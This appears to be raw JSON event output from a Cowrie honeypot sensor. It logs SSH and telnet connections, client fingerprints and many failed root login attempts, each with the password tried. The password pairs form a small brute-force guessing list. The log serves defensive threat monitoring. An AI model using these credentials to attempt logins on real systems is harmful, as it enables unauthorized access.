{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:25.334867Z","src_ip":"37.143.61.84","session":"28d54966434f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:25.436296Z","src_ip":"74.243.239.219","session":"2031cd1ec9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"backup01","message":"login attempt [root/backup01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:26.143530Z","src_ip":"74.243.239.219","session":"2031cd1ec9a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123!@#","message":"login attempt [root/abc123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:26.174289Z","src_ip":"5.181.124.9","session":"3f52d8e0e07e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:26.208416Z","src_ip":"43.135.177.217","session":"10cef258e51b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":38188,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7026780298f","protocol":"telnet","message":"New connection: 192.119.13.58:38188 (10.17.0.5:23) [session: c7026780298f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:26.928423Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:27.314416Z","src_ip":"74.243.239.219","session":"2031cd1ec9a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.6","message":"Connection lost after 12.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:28.068130Z","src_ip":"5.181.124.9","session":"3f52d8e0e07e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44462,"dst_ip":"10.17.0.5","dst_port":23,"session":"82fdc1fcb95a","protocol":"telnet","message":"New connection: 192.119.13.58:44462 (10.17.0.5:23) [session: 82fdc1fcb95a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:28.583779Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.23.26","src_port":63742,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b17c096a6bb","protocol":"ssh","message":"New connection: 165.154.23.26:63742 (159.203.135.109:22) [session: 9b17c096a6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:31.826135Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:31.831362Z","src_ip":"165.154.23.26","session":"9b17c096a6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:32.055085Z","src_ip":"165.154.23.26","session":"9b17c096a6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"coach","message":"login attempt [root/coach] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:32.938898Z","src_ip":"165.154.23.26","session":"9b17c096a6bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":42822,"dst_ip":"159.203.135.109","dst_port":22,"session":"c118abef00c3","protocol":"ssh","message":"New connection: 80.66.85.226:42822 (159.203.135.109:22) [session: c118abef00c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:33.067592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:33.076600Z","src_ip":"80.66.85.226","session":"c118abef00c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:33.166507Z","src_ip":"80.66.85.226","session":"c118abef00c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"8123q","message":"login attempt [root/8123q] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:33.435237Z","src_ip":"80.66.85.226","session":"c118abef00c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":38.957388162612915,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:33.701599Z","src_ip":"192.119.13.58","session":"538d8725b0ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:34.154477Z","src_ip":"165.154.23.26","session":"9b17c096a6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:34.527414Z","src_ip":"80.66.85.226","session":"c118abef00c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.122.177.140","src_port":30501,"dst_ip":"10.17.0.5","dst_port":22,"session":"859be0c58494","protocol":"ssh","message":"New connection: 186.122.177.140:30501 (10.17.0.5:22) [session: 859be0c58494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:36.378348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:36.383695Z","src_ip":"186.122.177.140","session":"859be0c58494","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.01853680610657,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:36.530116Z","src_ip":"192.119.13.58","session":"7d12d26312d3","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:36.566384Z","src_ip":"186.122.177.140","session":"859be0c58494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pronto","message":"login attempt [root/pronto] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:37.296837Z","src_ip":"186.122.177.140","session":"859be0c58494","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":53874,"dst_ip":"159.203.135.109","dst_port":22,"session":"132474dcbbae","protocol":"ssh","message":"New connection: 207.56.225.202:53874 (159.203.135.109:22) [session: 132474dcbbae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:38.214772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:38.220420Z","src_ip":"207.56.225.202","session":"132474dcbbae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.88399076461792,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:38.239243Z","src_ip":"192.119.13.58","session":"0a4ecbec095b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:38.382752Z","src_ip":"207.56.225.202","session":"132474dcbbae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:38.467106Z","src_ip":"186.122.177.140","session":"859be0c58494","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!123","message":"login attempt [root/admin!123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:39.059582Z","src_ip":"207.56.225.202","session":"132474dcbbae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:40.224247Z","src_ip":"207.56.225.202","session":"132474dcbbae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.126.224.134","src_port":59300,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1c87837c919","protocol":"ssh","message":"New connection: 59.126.224.134:59300 (10.17.0.5:22) [session: f1c87837c919]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:41.060679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:41.065259Z","src_ip":"59.126.224.134","session":"f1c87837c919","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:41.271372Z","src_ip":"59.126.224.134","session":"f1c87837c919","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yukikun","message":"login attempt [root/yukikun] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:42.192706Z","src_ip":"59.126.224.134","session":"f1c87837c919","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:43.458400Z","src_ip":"59.126.224.134","session":"f1c87837c919","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.105.130.18","src_port":60992,"dst_ip":"159.203.135.109","dst_port":22,"session":"cb8e785dbb9e","protocol":"ssh","message":"New connection: 77.105.130.18:60992 (159.203.135.109:22) [session: cb8e785dbb9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:43.621310Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:43.626119Z","src_ip":"77.105.130.18","session":"cb8e785dbb9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:43.725619Z","src_ip":"77.105.130.18","session":"cb8e785dbb9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"softnixteam","message":"login attempt [root/softnixteam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:44.156240Z","src_ip":"77.105.130.18","session":"cb8e785dbb9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.135.176.251","src_port":35324,"dst_ip":"159.203.135.109","dst_port":22,"session":"5bf4667f7887","protocol":"ssh","message":"New connection: 43.135.176.251:35324 (159.203.135.109:22) [session: 5bf4667f7887]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:45.118563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:45.125268Z","src_ip":"43.135.176.251","session":"5bf4667f7887","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:45.194870Z","src_ip":"43.135.176.251","session":"5bf4667f7887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:45.259575Z","src_ip":"77.105.130.18","session":"cb8e785dbb9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc12345678","message":"login attempt [root/Abc12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:45.502886Z","src_ip":"43.135.176.251","session":"5bf4667f7887","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T16:54:46.579077Z","src_ip":"43.135.176.251","session":"5bf4667f7887","protocol":"ssh"}
